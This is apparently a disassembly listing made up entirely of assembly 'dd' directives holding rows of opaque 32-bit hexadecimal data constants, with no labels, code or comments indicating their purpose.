dd 74910049h, 0FD3B421Eh, 2207D703h, 0A89F70F9h, 9A739940h
dd 9BE5026Bh, 74C94D3Fh, 32E8E7E3h, 304851F0h, 62FC0F40h
dd 1753A3CEh, 0DD77CFDBh, 0DA21B810h, 0FB2A007Fh, 96B3BF4Bh
dd 200C6C4h, 15D8E11Ah, 0CFEA7Ah, 12916194h, 96417420h
dd 0DE139877h, 0B0002977h, 4A16540Ch, 1A89930h, 0D1F946CEh
dd 0F697D883h, 7D03DA01h, 39BEB951h, 0EDC5DE0h, 10F5AE95h
dd 3C7CC40h, 56031955h, 0A5720B6Ah, 38BFF804h, 9B457B0Ch
dd 0F45F00B0h, 43885B92h, 0CE4D360Fh, 23E4C709h, 0F80EFB23h
dd 499E47h, 2E1AEF55h, 0BFC73210h, 0A0C34224h, 0E4577203h
dd 76F98DFh, 90545067h, 1726386Ah, 0EA14F107h, 8F2720B1h
dd 0F0FC86A3h, 680DF800h, 0FD63F46Ch, 3B400E8h, 73F352F6h
dd 910EEBC0h, 8DAD1Dh, 515722C2h, 7FB878h, 7F704DC3h, 6C73D444h
dd 27E00F00h, 43F403B5h, 0D19059Ah, 0C0FE74FDh, 0E18FF8D4h
dd 8323990Eh, 699CA24Bh, 0AD8980D8h, 58DED06Bh, 4E00DC7Ah
dd 40ED319Ah, 5A6298C0h, 0E06720C0h, 0EB8731h, 0C31E0C2h
dd 22EC26C7h, 0B0C42300h, 4B6495BBh, 28242862h, 67D803DCh
dd 2093EF41h, 54A7BB0h, 1F148B03h, 0B0371763h, 0DACD4Fh
dd 0AC72B88Ch, 79A77A2Ah, 9B104300h, 0BFB3E3D9h, 578C01A2h
dd 0A5E5BE76h, 5C8C602Dh, 55F1D017h, 6E1C5400h, 484910E6h
dd 51E6832h, 256143ECh, 31D8FB15h, 8B73D4B8h, 760023B0h
dd 3881060Eh, 3F7D1B56h, 6228AA66h, 4CF300FCh, 21526BCEh
dd 3400C7C9h, 872F868Eh, 1E2B3B5h, 5E91D39h, 60D5CA65h
dd 76EC0490h
dd 0C97AA90Ah, 0C7019458h, 78EDE0CEh, 0C0E05BC9h, 0DE52010Ah
dd 0F393BD68h, 0E03421C7h, 0A11E484Bh, 0BFC08C8Bh, 0CF85A9E3h
dd 2C3F00E7h, 83BE3564h, 9800D4FFh, 0E6158D4Bh, 14768A78h
dd 0D8C2ADA1h, 96267900h, 739DE963h, 3D7CFA16h, 0CC58E10Ah
dd 15E12700h, 2B438B2h, 0DF73E595h, 54002D5Fh, 1382EF9Fh
dd 127F77h, 71CEB768h, 5D0EC179h, 183FEF8h, 378D9A2h, 0EBADDF0h
dd 58574EA6h, 0F3152E40h, 0E1010A02h, 0FA43B393h, 0A820063Bh
dd 0BD5413A0h, 32782024h, 8B00A9F8h, 2AF02277h, 3150D6h
dd 745C2CFCh, 16797D06h, 2D138C07h, 661029F5h, 19A080Fh
dd 0D321048Bh, 40CF9502h, 1834C6FEh, 0AB077DF2h, 0BAF5D874h
dd 0A8C02524h, 1DBC7CEAh, 5C310BD5h, 36EC583h, 24A480E2h
dd 9400AB36h, 9D4BA2C8h, 0EC09E9h, 8C358AE8h, 28B5A9DCh
dd 4254FD01h, 7C06DE15h, 0C52740FEh, 0CC1C038Fh, 0EFAC2710h
dd 2D2BAF0h, 2EBB9B01h, 7A50CD6Eh, 240E0472h, 78CA939Fh
dd 0FA2CFCh, 0CA47F619h, 4B004988h, 0A3EE4F0h, 51F2AC85h
dd 46E5ACC9h, 79B7FECh, 57845EE9h, 0D2CA50EFh, 0C04CBAE6h
dd 0FD73B28h, 8E36936Ch, 0B978037h, 19EA4292h, 5E5C9430h
dd 3080617Eh, 0F900C758h, 90AD74CDh, 729E796h, 30DCD10Ch
dd 0E945E012h, 7200E001h, 0F127C0D9h, 123A5CFDh, 14AA5BFh
dd 7D2CED60h, 2B04306Bh, 0F1D8F01h, 50E5AFCFh, 73602C20h
dd 7E7F172Fh, 16101344h, 1600AAA5h, 0D1ECE4C4h, 0C2560149h
dd 74066E21h, 87B1C45Eh, 9F2C8300h, 0B07DFBFDh, 0B8598C8h
dd 48EF33C7h, 80A778A5h, 0CB300D94h, 0DB7B3Fh, 582723F6h
dd 0F2B08582h, 80089439h, 0D2785F2Bh, 160053C8h, 0BE4C50A8h
dd 7658491h, 0D5A569DAh, 0C0D01D21h, 190020C5h, 9A3C8A6Eh
dd 4F8BB684h, 3A0E8B7h, 361DC272h, 220EA145h, 748E4h, 91D0B55Ch
dd 0B75F83DFh, 0D1D79A00h, 1884A33h, 0F5FA0085h, 184DA37Bh
dd 0C5006F50h, 0DDF679B2h, 0F3647330h, 4C78CF8h, 0F1BCCFC6h
dd 0CA0C806Eh, 1E04FAD1h, 72133F4Dh, 0A45943C0h, 73F53F05h
dd 8C80F43Ch, 0CE3AAC19h, 3F07D4AAh, 251F9218h, 23661A60h
dd 0D7740030h, 4E11A4F6h, 35018793h, 0B8F33945h, 65C8D0BAh
dd 1BEEA53h, 18A904F7h, 6048BC9Eh, 0E0001AC6h, 81E16456h
dd 1E1F2725h, 80576F4Dh, 4D11D71h, 90E8100Ch, 0B3EB9200h
dd 91F8A1FDh, 0DC260083h, 0FACABE17h, 8CA093E7h, 0A5004939h
dd 0A7CD9AFh, 88BACBh, 139C3816h, 36F7375Ch, 4B434703h
dd 0D0728FA8h, 0F912F76h, 0F9A34D9Ah, 0ADA142CFh, 7004D62Eh
dd 0BE00E382h, 88DFF5C1h, 27AAEBh, 0AE2A55C5h, 328D78BCh
dd 40953Bh, 5C317DF6h, 199B9D6h, 1CD18B48h, 0C8183966h
dd 0DC077F43h, 0CDBDA957h, 0B0E45EE0h, 0D34D1DBEh, 8DB88E8Ch
dd 605BC8A3h, 7DA4EEC0h, 8A5F3500h, 5CA7DB9Ch, 81360725h
dd 0F0DE8872h, 271E3321h, 731F4100h, 5BC32B45h, 88A0034h
dd 0B5CFFA70h, 7F030BF5h, 2ED1A150h, 0A5F6809Ah, 0D4EAAAh
dd 0B4326989h, 0AE3C1811h, 3B022B00h, 8C01E5DEh, 873F0072h
dd 19BAED2Eh, 0FE002F69h, 8A80185Ch, 4099527h, 16BF5956h
dd 0BA61C02Dh, 9314B558h, 9CAC71ABh, 7B1C5039h, 570A88h
dd 7DA7A344h, 0D3ED0FFBh, 0AEAA0700h, 503E8BF8h, 65CE0010h
dd 0CD2BF3DDh, 69FC2FE6h, 280010D3h, 5B43F681h, 0D9050072h
dd 605C89BBh, 7413DA1Fh, 0C601F54Dh, 8B781E25h, 8D517080h
dd 0BCEF8401h, 13D5F3Eh, 0AB8EFFFDh, 0E88330A9h, 9359285Ch
dd 0BFA1BE01h, 109644D0h, 0C083C9F1h, 0DF4EA348h, 53B02BDBh
dd 643A5E28h, 4D988316h, 0F83F8405h, 0F8A8F373h, 0AFEC0036h
dd 2F2B2159h, 0FF003E1Dh, 0C9480BEDh, 1D6109B2h, 0EE2AD56Bh
dd 84860F9Bh, 0AB02ABD2h, 0C039FB41h, 96EEF53h, 0A19DAD8Fh
dd 0DDD0B301h, 0A509DC68h, 78CA4C03h, 539CE5Ch, 0C39B2DE0h
dd 0B5F8C1AFh, 0F1A5D075h, 81E95700h, 4C7D27DFh, 0A608006Ch
dd 0B277DAB8h, 0B61C9A01h, 0CC4F44AEh, 78AFC06Dh, 3B7307B7h
dd 4C801CF6h, 307AA897h, 3300EC32h, 0EDE65F37h, 0F97239h
dd 0F65DAB9Fh, 0D899096Fh, 0F14A511Dh, 0E020D600h, 413C6Bh
dd 7EC5E15Dh, 37F6E5BFh, 0C3827427h, 0E719A8B5h, 90C2028Ch
dd 22324A68h, 8BA021E3h, 0A207DE66h, 12BA485Fh, 0B790FA57h
dd 3D0A4BFDh, 540392DAh, 75B6F341h, 716F3190h, 0C7E0AA00h
dd 0A7B9DBE2h, 633A0753h, 607EBD5Eh, 0DFA1BF48h, 0B5189400h
dd 0BB504D03h, 0BC1C00AEh, 19CBFA0Ch, 97362B7h, 7241EF00h
dd 0A4A51E66h, 0DF900Ah, 1A79A88Ch, 19071BADh, 678C01Ch
dd 0B100946Ah, 35D699AEh, 0F2BBC37Ch, 592F0EE4h, 72E0FB12h
dd 26543A5Bh, 0F3144400h, 75EA2381h, 49793924h, 0A808DE80h
dd 6C31542Ah, 0B23C8672h, 3D7B00FDh, 0DCD4B751h, 286907FCh
dd 80D3D6CCh, 0BB4E473Ah, 4B3CC600h, 1D851B1Ah, 9D0E0059h
dd 8EEFADDh, 28138288h, 5800BF27h, 16219B3h, 0AE8E6h, 355852EEh
dd 0A0637267h, 0D0C9F500h, 82FED4Fh, 6BA40305h, 0C417AA20h
dd 3C60FBD2h, 7200F971h, 6816639Dh, 2049F7Ch, 3281DA62h
dd 9440CEDCh, 0F008D77h, 163B4341h, 774CB111h, 5CBC249Bh
dd 604A0EEBh, 1090F020h, 98004EDFh, 0ED50C5B2h, 0E77EAAh
dd 2248FAB0h, 0D7DD826Eh, 0EEC81A60h, 92FD117Fh, 0AB5700F0h
dd 0E859BECBh, 0DA901992h, 1B2631FCh, 0A3802C76h, 0C7967385h
dd 40F70032h, 0EEC4F3D9h, 150B4AC9h, 828CED25h, 602BE953h
dd 71E1C88h, 5495F932h, 75E8C11Bh, 81FA2103h, 2399B640h
dd 518001FCh, 0B9DC2958h, 13B8BA94h, 4B2E8000h, 78756A6Ch
dd 0A9CF6068h, 1774D44Ch, 0D0396900h, 0CA166693h, 8CDE48F5h
dd 0BE3D0980h, 709088BBh, 0C91FF000h, 0D2177168h, 0B89D006Bh
dd 2914FB7Fh, 0A600DD21h, 0FA88674Ch, 320C2BFh, 0E864547Bh
dd 800024E2h, 0A4DFD44Ah, 50D0CBBh, 0F377A2E7h, 7BC8008Ch
dd 49102B53h, 0A700B7EEh, 7992EBF5h, 0F330851h, 63774F3Eh
dd 0AB8ED849h, 0E8FF120h, 0F3160523h, 2800595Ah, 0A2D9FE3Fh
dd 0A5B70008h, 4714A722h, 6428332Eh, 520FA48Ch, 40A3B40Ah
dd 0F25ACF98h, 3C5C7EEDh, 7502B7ABh, 0B48A0B2h, 0C790A8h
dd 0CB431BF4h, 0F0001E38h, 2C42A853h, 0FE27646h, 4C4E72B9h
dd 62F5DCE0h, 6B0C0637h, 905815A6h, 27C50F22h, 64D4889Fh
dd 0E3FBE900h, 41E8F3D6h, 2582C800h, 17C18C9Bh, 388B000Dh
dd 0F676F60h, 360004F8h, 0AB8D3B46h, 0C0969CC7h, 0B2C9298h
dd 0E6017B0Dh, 5A167E40h, 3BEDAFEEh, 148F6D4h, 105B63CFh
dd 8089ACA8h, 1E58539Ah, 7B31A46h, 0BD067478h, 0B43A4Bh
dd 0C9FC3237h, 77057B79h, 475787EFh, 96467040h, 0FACE844Fh
dd 78FEF6B4h, 137300C2h, 0BCFC0355h, 60FED5E1h, 0A00E801Dh
dd 0BD4BEC40h, 0A47841Bh, 7A8EF729h, 0C6E90E94h, 0D28CC560h
dd 8A01D69Ch, 6180593Dh, 0F0705A43h, 36B0C8h, 233AE03Fh
dd 1FF8AC3Ch, 7C2E8A0Eh, 0A927A06Ch, 1742972Fh, 1DADCEDEh
dd 0DADF02FDh, 90C4D382h, 46CB7C00h, 0A1F85743h, 0AF01001Ah
dd 31A32DC1h, 0F7005BA8h, 9DD4634h, 593A17h, 7207116Eh
dd 93664244h, 5E4CE400h, 0B2F7CDFh, 0C978D4h, 5950F736h
dd 0E016213Dh, 53AD0F00h, 1511FEACh, 25C007F3h, 0D05EB2B8h
dd 0EC1E764Fh, 0C7461028h, 3BBF3509h, 0B1ED0064h
dd 0B79E7Bh, 504BF532h, 6E959A74h, 0D4C3CC00h, 38EC536Dh
dd 8B1300CDh, 11F5A8C2h, 0A6036128h, 33EAFF97h, 682BB807h
dd 0D3E26Ch, 5650A0B5h, 0DD9C1A90h, 0C2FFA700h, 446E85AFh
dd 0B682009Eh, 26F206DCh, 0A002026Bh, 3677C215h, 982CE08Ah
dd 2C20E5B4h, 3C2F52A1h, 0B5D1F704h, 8F1E80D3h, 0E6F27CB7h
dd 0CC0DE400h, 8B22B8C4h, 0ED341756h, 9CB40266h, 60E0A0ABh
dd 0B40F362Ah, 0A0D7CBBEh, 0C8CD48DEh, 22020338h, 166B1CD8h
dd 4E24C7D8h, 39AA0C3Fh, 90D98F05h, 93BDC046h, 0D56EA7h
dd 0B565F7A1h, 0E4D694C4h, 0B22DE900h, 91BA4199h, 0F64B034Fh
dd 95059C50h, 877502F0h, 0FAD43700h, 79C30E09h, 0D1FB09ADh
dd 0E80F8B4Ch, 0C5AAF1E0h, 5558DE12h, 734800ACh, 0FEA35DCBh
dd 6CFC0188h, 6FAEA933h, 0F1D7F451h, 0EA7439h, 0C68FE96h
dd 1C679A30h, 446D5EB0h, 0C0A72089h, 0BA0FDE2Ch, 0EBD2E00h
dd 3D4E09E3h, 7B89069h, 6B59F15Bh, 0CA6E6E5Ch, 0CBA3E801h
dd 2245D101h, 3A4E00E4h, 0B1DFD029h, 4C9C05FDh, 8066AB53h
dd 88BD0DE3h, 8F8B3900h, 892AAC81h, 0E95D246Ch, 0E9100E1h
dd 3FBDF0A9h, 0BB30781Dh, 9B659700h, 516E03h, 0DA1EC5CBh
dd 1291A246h, 0B99E3300h, 72525995h, 254F1780h, 606200B3h
dd 7382EA68h, 0BB010C03h, 0E0FC4DA5h, 0B270BD3Fh, 75FF03Ch
dd 0D19B89DEh, 178BF1FDh, 29BC2060h, 34162205h, 9A8719EAh
dd 0F77A6710h, 95613893h, 0C9AD0A80h, 196D79BEh, 91FD4502h
dd 61F7D1CAh, 32E4D09Ch, 4E400AEh, 0CC765C6Ah, 0D417E082h
dd 0F103AD40h, 0F8D3D226h, 767E574Ah, 73843CA9h, 496D6412h
dd 6708EFFCh, 9013CF4h, 0A2FB0D19h, 9C27D0ACh, 701B73Eh
dd 0FF0C14A3h, 9018C8C1h, 0E5603884h, 0C21218Dh, 0D001FE08h
dd 42061047h, 48F4C1F3h, 0BE414895h, 209EE601h, 0F3498D57h
dd 0FFB09D83h, 0C600E588h, 7BCEDBA0h, 0A90F347h, 610AB035h
dd 327C0054h, 5A7A8845h, 89CC9F14h, 0EA8D0044h, 8AB5CDE1h
dd 0E4D02404h, 11630193h, 0E092D439h, 843FD72Dh, 6EA8996Fh
dd 9FC44D51h, 0B0151EA3h, 0DC1D55h, 8F2DE853h, 95007303h
dd 76241094h, 40342Fh, 2CDA570Ah, 6175910Eh, 0FF77AAC0h
dd 9C1C98h, 8B93BF02h, 5406A74Fh, 0FAA45C00h, 0E8C4F9B0h
dd 0C61200A9h, 8038C2DAh, 5C006C14h, 8C24C17Dh, 0E8D9F1h
dd 0EEEF1AF5h, 74EB6F9Fh, 0B30051E8h, 0AF557027h, 0C500DECh
dd 1D05310h, 22867C1h, 24188036h, 3982BE0h, 0B89E634Ch
dd 3FF0076Dh, 53016722h, 0F3615E0Ah, 2988316Fh, 4D849FA0h
dd 5F08265Dh, 29374C42h, 7A29860Ch, 453B6044h, 1234E901h
dd 547C1098h, 104779CEh, 9690716h, 3B80F19Ah, 403E1045h
dd 222CF800h, 554E0F3h, 0FE800014h, 0A6CA9793h, 200379Bh
dd 0FD5892CBh, 0F37FE8h, 0EE406EBh, 0F13072BFh, 0A9B73201h
dd 6BD0C884h, 33876C0h, 36D8CE83h, 0AFA0F7AAh, 0AB3886ACh
dd 6E560E39h, 0C6BDE0E9h, 6FCECAh, 4E5AF19Dh, 822141BCh
dd 1C061F07h, 0EFE35419h, 0E8A893FBh, 516630h, 2A3F0163h
dd 0B39FE8D7h, 54A18D00h, 487DA26Dh, 1DFF2AC4h, 712900CCh
dd 0B506CE82h, 6807CF2Eh, 0E5E17799h, 0ACD5C3C0h, 0A8AF4E40h
dd 1D5A00E9h, 0DA729BC2h, 90330328h, 0B2FC3764h, 0BF5055C8h
dd 80A5473Dh, 0B7C894B3h, 1FC05111h, 180F911Dh, 75467002h
dd 0E175B00h, 80B5FA8Fh, 0CB590E79h, 0FF41DD29h, 0D8A3384Dh
dd 3B165AE4h, 43028924h, 0C06E57ABh, 2BDE12Dh, 88E4EDC3h
dd 90B0C891h, 430030DAh, 4CA5B98Ah, 0D33AD5h, 0BB900BF6h
dd 0D6EC2A93h, 1FFB5A1Fh, 0FFFAC3C0h, 0DE307Dh, 6B64581Ch
dd 0B5B2537Bh, 40B9C814h, 0A9160080h, 522C4277h, 0FC600DFh
dd 1DCD2785h, 0CBEAB906h, 0CB1A600h, 9035ED6Ah, 1418078Ah
dd 0F36FD443h, 0C7C89EC2h, 9A163877h, 0CCE0B3B2h, 0FEB714ADh
dd 75738812h, 0B51D004Ah, 0CB244548h, 0E10031A2h, 6559036Fh
dd 36CA1A3h, 0EC4DFA85h, 0CD89FDEh, 2DE4395Bh, 805F903Dh
dd 8CFDD258h, 1377A82h, 0FE6AA923h, 0C834E1F3h, 43012F4Ch
dd 0D158AF81h, 89DC8F56h, 0DD2200A3h, 6FCBF50Ah, 0FC0032EAh
dd 1C9A7B66h, 71C864AAh, 40901Ah, 0F64DA9E0h, 0AF90B1Bh
dd 552BB300h, 0DA190471h, 0A89868h, 384FE120h, 56AF483Eh
dd 4C0096B0h, 0AB8F3686h, 6DF73h, 0D13A7D26h, 2DE1687Fh
dd 5E56650Eh, 55A540DCh, 56D9136h, 0A25DBCE5h, 2BF80FB1h
dd 0EA9813E0h, 121BE822h, 0A35A9707h, 77203DCFh, 9CE71Fh
dd 1302303Eh, 0CB00F8D8h, 48902778h, 0F9E717Ah, 0C2145DC0h
dd 6E204C07h, 0B6CEC740h, 8C071004h, 3DBAF5BBh, 80A32400h
dd 0C17800A0h, 0DEC740AAh, 11FE4F9h, 0B903F3EEh, 740E5D91h
dd 7577F0h, 0FECC8EB6h, 0D2B29DE3h, 0FDB9FF00h, 5FAC26DBh
dd 0B44B00FAh, 0F0AEED90h, 0C9398D6Dh, 7AD8808Ah, 4FDA4359h
dd 0C3A80B56h, 12001F19h, 54952C68h, 48D87100h, 277EE421h
dd 0A8D270E0h, 1D38DB0h, 55336651h, 0D8C3BA5Bh, 1B18696Bh
dd 0A1BC2612h, 0D420F33Fh, 91770056h, 9D044DB1h, 2E26870Dh
dd 0BE0FC090h, 1AB2A1ACh, 982005A8h, 34A90076h, 58D888E5h
dd 380471CBh, 0AA734B03h, 0D7898480h, 0DCCF002Ch, 1B25090Bh
dd 0EF000AC2h, 352FDF60h, 7F3AA8Ch, 6898319Dh, 85C35051h
dd 621622F5h, 491E6h, 30C82D5Dh, 90367A89h, 43B000E4h
dd 0A74A4420h, 740F1D11h, 0A0299EB6h, 0F2DA1470h, 6D7B001Bh
dd 0FD5D6EA9h, 0FE011AD2h, 0C3A7335Bh, 3030B5DFh, 0FBB8202Ah
dd 10FEE5B0h, 0CE4E1701h, 788794D1h, 243D9CD0h, 1CAA21h
dd 7C2C79FDh, 0CF00D94Dh, 0E85B6765h, 1F190CD2h, 0C06B4012h
dd 0F85275DDh, 0E301CE7Eh, 9B9AB962h, 0E3603EAFh, 0E7442F3Fh
dd 56665140h, 19295A00h, 0CE2DA979h, 6D01C12h, 0A7C7C0FBh
dd 39DBED91h, 21367400h, 90BAC6B4h, 0EC3A1E22h, 0A28ECE15h
dd 4F4D4A21h, 780FD87Ch, 0D3602126h, 2CD3023Ah, 430D1139h
dd 7E2AA03Ch, 90F478h, 765A9BAAh, 0D18EBE5Eh, 20DD2700h
dd 880AC7B3h, 0F95916C9h, 0F2E90794h, 0BB84804Dh, 260970EBh
dd 18D1096h, 72A6935Eh, 2D13C20h, 45D852C0h, 60DFB340h
dd 2223648h, 0BC8D4C35h, 79E02746h, 19076B11h, 64BBE23h
dd 2F8BC270h, 0F8F60042h, 88C9530Ch, 0D1049CAFh, 0FA0AA4D3h
dd 57A0480h, 91B000FBh, 31A1717Ch, 0A2004EB7h, 2D53547Fh
dd 2C9ECE4h, 77A66B0h, 0A0807D9Dh, 0E39C68E1h, 79160901h
dd 0F8B8231Ah, 0A2332880h, 7D68D69Dh, 0B61C0C1Ah, 42218019h
dd 3BE8B43h, 3B2B0E6Bh, 5AC1315Bh, 107070D6h, 5EF0C906h
dd 3E8880F5h, 0E503ED21h, 0E628BE14h, 579B2398h, 42ADF612h
dd 0EC20F00h, 0D62C834h, 9F120211h, 0C5D3F438h, 8A819512h
dd 7F909C03h, 1E42D086h, 62ED09BEh, 93878F07h, 4C6049B4h
dd 0B0A4DEDAh, 0B0B7E21Ch, 1C3EF480h, 1571FB9h, 0E17B2861h
dd 0C75EC3CDh, 7797EA0h, 0A977FA02h, 40125C85h, 0E27C60h
dd 11D64BC4h, 351C1592h, 0C007C8E8h, 9E241749h, 0D906730h
dd 0CC4B1216h, 0CFC00E8Eh, 0C39BE160h, 3A008F31h, 5E9A3C17h
dd 38A51F6Ah, 0C5007F11h, 4FE964B1h, 0C600ECDCh, 0E58F756Fh
dd 0FC12668h, 80871E04h, 49C8A6A0h, 2A01A12Fh, 8D1CDF15h
dd 0FF0ED58h, 0DB0600A9h, 0F9DC761Fh, 0BF00E8BDh, 0AA5F7317h
dd 5FD9829h, 1C224580h
dd 0F880AB4Ch, 3C6CCB8h, 0C3B2F56Eh, 1980CFAAh, 0D400B484h
dd 0A509F0D6h, 0B0310C05h, 0A4960953h, 5C802737h, 9F5F6DB2h
dd 43FAABE2h, 12A5ED00h, 46F16C3Eh, 917C26C6h, 803B1266h
dd 61904FFCh, 0B032932Eh, 0A8E93700h, 0CE8277E2h, 40F35521h
dd 5E966FB4h, 0F017FBFEh, 6F03B905h, 0B87F39B8h, 245752h
dd 1DD906A8h, 0D1E7EA48h, 1ABEE812h, 893EB200h, 0C392BCh
dd 0E933FB0Eh, 876B7360h, 58398F00h, 0F8C1D7FAh, 80B8D0h
dd 7B9F0AFBh, 0D871D19h, 50F6BEB0h, 1B13B901h, 42922A6Bh
dd 82F424h, 3A7CE28Ah, 77FFBA9Ah, 0F91BE0C0h, 96615Ah
dd 0AD3BE023h, 1F4A3EC1h, 0E7702FB0h, 8505D0F6h, 0EEC92144h
dd 0B8A84F0h, 0D7A6BD3h, 16C47280h, 0A6023482h, 0E2833D30h
dd 68F9E05Dh, 0ACB660DDh, 33148BFh, 4C70F300h, 3A7F6D45h
dd 7EA500D9h, 0F22F0295h, 2E738508h, 0E90CF900h, 7AA1F29h
dd 24A33026h, 0CBEE7748h, 844E3500h, 0FBE5A591h, 0CC2B001Ah
dd 4B8040A0h, 0F07FE2E3h, 0AACBF102h, 0C18C535Ah, 0C4D0EC9Bh
dd 0F4DE4DA0h, 8BDF3F74h, 833C9192h, 5200F7C0h, 0C7B0D74Bh
dd 0E5B5EAh, 50D9E6E7h, 732485E4h, 125E93Fh, 79BBA48Dh
dd 18FCF4BAh, 133417D8h, 0FF9C420Eh, 0B8C61281h, 5D0C1E7Bh
dd 708AB173h, 99AB003Fh, 0D8FC12Dh, 19590A67h, 80C93B2Ch
dd 61AD261Eh, 1AB0F1Fh, 29852BE5h, 70BE9811h, 8C3AFFD4h
dd 6920816Fh, 43071939h, 8AD0A1C7h, 2E00D03Ch, 5D040C47h
dd 4E00428Eh, 0B34B6FFh, 0A5EC67h, 0ACCAAB7Ah, 0F510C397h
dd 0A6C6780Ch, 3A1A80ADh, 2CA8B6E7h, 0D7901EACh, 0CE807A4Eh
dd 0ED307C6Bh, 260444CAh, 0B8FA2A36h, 5A898h, 0F2CFB52Fh
dd 9E6AE3D2h, 0D0A19903h, 1ED3B6ECh, 0FD381D30h, 839A1B02h
dd 0C4806FE0h, 0B73D8EF2h, 7900D8F8h, 56DA8F20h, 0C72F7DD1h
dd 70FD6889h, 76291530h, 89401807h, 0D0856474h, 2E839C40h
dd 0F0AD5Bh, 6F637CA9h, 0B523DF7Fh, 7873A30Bh, 6BF480DBh
dd 26F618A1h, 8AA8D529h, 8084ABF0h, 7D8F5AD2h, 0CD00943Ah
dd 2234DB09h, 3C57BBh, 0A272E7C6h, 13950BCFh, 0FDEDC800h
dd 0D02C84D1h, 0B0160C4Eh, 8CF09D8Eh, 0B8000C4Eh, 0CBAA7421h
dd 5880F576h, 0F8E55266h, 5D18B2BAh, 8D19C228h, 0EE0B0E0Ah
dd 0CC60704Eh, 4AD473AEh, 0D8B44Ch, 936E5855h, 57E87Dh
dd 4E123A8Ah, 70602EE4h, 20531730h, 1B878C7h, 0CC6DAE8Ch
dd 708A37C1h, 5700AF2Bh, 41075AAh, 3EF91Ch, 1DE45F9Eh
dd 0FE61B9DCh, 5457AC00h, 19DD594Dh, 5E7D0064h, 90DA9EF9h
dd 9D002A6Dh, 406F8F17h, 1D1E3FDh, 100D9B1Ch, 64E2CC1Ah
dd 489CD40Ch, 0AEF27400h, 6019DECBh, 0F3389AE1h, 0A00D5D2h
dd 888A4BA8h, 133463Ah, 9FE01144h, 215787D0h, 0C574F850h
dd 0AC98F7F2h, 0ABE4130Eh, 3865E112h, 7A206B36h, 2BA90025h
dd 47119B60h, 0E8006E0Dh, 3F81E495h, 80D3F3h, 901215DFh
dd 0DD3C83C3h, 0F63DF800h, 13EFAB1Bh, 0B17123h, 1CC00C60h
dd 0E4C787C2h, 2E2A8460h, 0BCE3B40Dh, 75D101E8h, 242659F7h
dd 0AFF49A30h, 56FBD600h, 9EF1A38h, 0BCCB01F5h, 0B3FDD47Ah
dd 775C3879h, 9992AC1Fh, 17632901h, 18879CA8h, 0D0518A36h
dd 911DBA6Ah, 689CA0ECh, 50E5010h, 0CC217B14h, 0C0EEE20Dh
dd 220192FFh, 9F5D7106h, 0C143E04Ah, 5C84CD69h, 4914E800h
dd 0A5AD82h, 97A979E7h, 251A4473h, 0B220E900h, 6FC0DEC4h
dd 0BDA40082h, 0C2D1E89Ah, 0E9008AD7h, 0B2C4E17Fh, 8679DAh
dd 0ACCF8EDh, 0FF71CAF1h, 0A3426500h, 0FBE4254Fh, 1AC800E9h
dd 99AD3FDEh, 0F10045F3h, 0BFCBF81Fh, 1B0271h, 3A0F0A0Ch
dd 3B1EAAEFh, 0EC896301h, 0A681EEC3h, 5AD2B835h, 0DDC4008Ch
dd 9D15FD0h, 0BF3913FCh, 1DB60F2Ah, 114E6045h, 8492C5h
dd 8DAFEB9Ch, 4453063Fh, 5C2BB100h, 8C1351A8h, 0A78626BBh
dd 7A1700B8h, 0AAB5E02Ah, 0A1EB3700h, 0AE8793EEh, 26D80407h
dd 0B05AC988h, 0C094D54h, 6CB72364h, 372EE88h, 0F9EE5ADCh
dd 30986E87h, 7D0B68CAh, 3C79A2Bh, 0D48A44BFh, 0F62014F0h
dd 0EBB600F0h, 0F94E41D2h, 0AB001324h, 3B7F3A89h, 0C61148h
dd 91B8E15Dh, 0D9EBF91Dh, 9841A602h, 0E01B2461h, 393D3C14h
dd 34C9E612h, 499AAD00h, 0B9A03F02h, 8A982400h, 274E208Eh
dd 0FBD700D2h, 53A9DAEFh, 30E6D1F5h, 28C47600h, 0B132E0F9h
dd 61330024h, 0A802938Ch, 8700C03Fh, 364E514Dh, 9C2F27h
dd 0BC679231h, 2D1BF535h, 6E009DE4h, 3C56696Ch, 18E1823Eh
dd 204D8324h, 0C201B5D7h, 4CE01E6Bh, 6EE0C025h, 0A3C40048h
dd 7D6ABBD4h, 5AE03EE4h, 0F000945Bh, 0CF3A1B5Ch, 0A8A702E6h
dd 0E430068Ah, 55411A60h, 9C7E48h, 771AC4F3h, 2C350EEBh
dd 481B6Fh, 0F0D0B39Fh, 0FA000D16h, 3A3CA654h, 0F6745992h
dd 1A8F4CB8h, 0C077F41Dh, 235FE71Fh, 0F731AE22h, 0E589789Bh
dd 9124870h, 0A2368003h, 16D01820h, 0B2A6542h, 0BC02B418h
dd 3CAD9D66h, 90F87885h, 868D2753h, 372A1C80h, 0E100C82Bh
dd 0DD21F43Eh, 983A32A3h, 0FBCF4D8h, 93FDE5AAh, 366AF3A0h
dd 8B007387h, 0D3A53716h, 236D5Fh, 0D29A39FDh, 0BF4776B5h
dd 0A2E97B00h, 1183F780h, 0B9460FEDh, 0FEA0FDFAh, 6E510D7Eh
dd 937F1202h, 80A2882Bh, 0FB48DA94h, 0E64E0E13h, 8BA04B07h
dd 6FDFD764h, 0A6003476h, 0B8FCE8A0h, 2F2A97h, 0DC2B7F24h
dd 3806B907h, 2C89A900h, 0B331DA8Dh, 64170071h, 0E9D2A574h
dd 0E0051A6Ch, 0DD234462h, 2BC9680h, 0DF580057h, 73D06928h
dd 6400860Eh, 8E2430FAh, 2BD819h, 0DF7EB102h, 5D9BEAA7h
dd 0B9E6C700h, 0E7736676h, 31E76C0h, 70D68182h, 0A0906EF4h
dd 3807850Fh, 3F45102Dh, 0FBE69F40h, 0D5BA07CCh, 60948A15h
dd 0D824D330h, 415ACD00h, 4F7CE983h, 5B85Ch, 0FD674E3h
dd 0C9EE089Dh, 8876F600h, 79441FA9h, 0A7500342h, 4E7C4C23h
dd 1B7311B0h, 232CD38h, 890CDF46h, 0F0F540FFh, 61395C8Bh
dd 5EA1CE0Eh, 4183407Eh, 78FE9DC9h, 0B0492A00h, 685A170Eh
dd 92471DB8h, 98E080EEh, 27D84E8Dh, 0C1C0C0DCh, 9E488976h
dd 66F0002Bh, 87884ADDh, 4B0021CFh, 9DAC7E06h, 0B9657Fh
dd 0FAF492E6h, 287B0F0Ch, 2D2AB03h, 0A1821FA6h, 19608E6Ch
dd 1A2D00BFh, 0BB9D9F32h, 0ED0017C2h, 0D6A955E7h, 7486F9h
dd 99DEDC2Ah, 22570E61h, 33AA3402h, 400CF6D5h, 70918E8h
dd 0FCB36951h, 0DF3FA0C9h, 0E83D77D9h, 85700D3h, 0A4178723h
dd 0B5F804D2h, 8F6BE0E7h, 39D1A200h, 2429FC6Dh, 50ED8403h
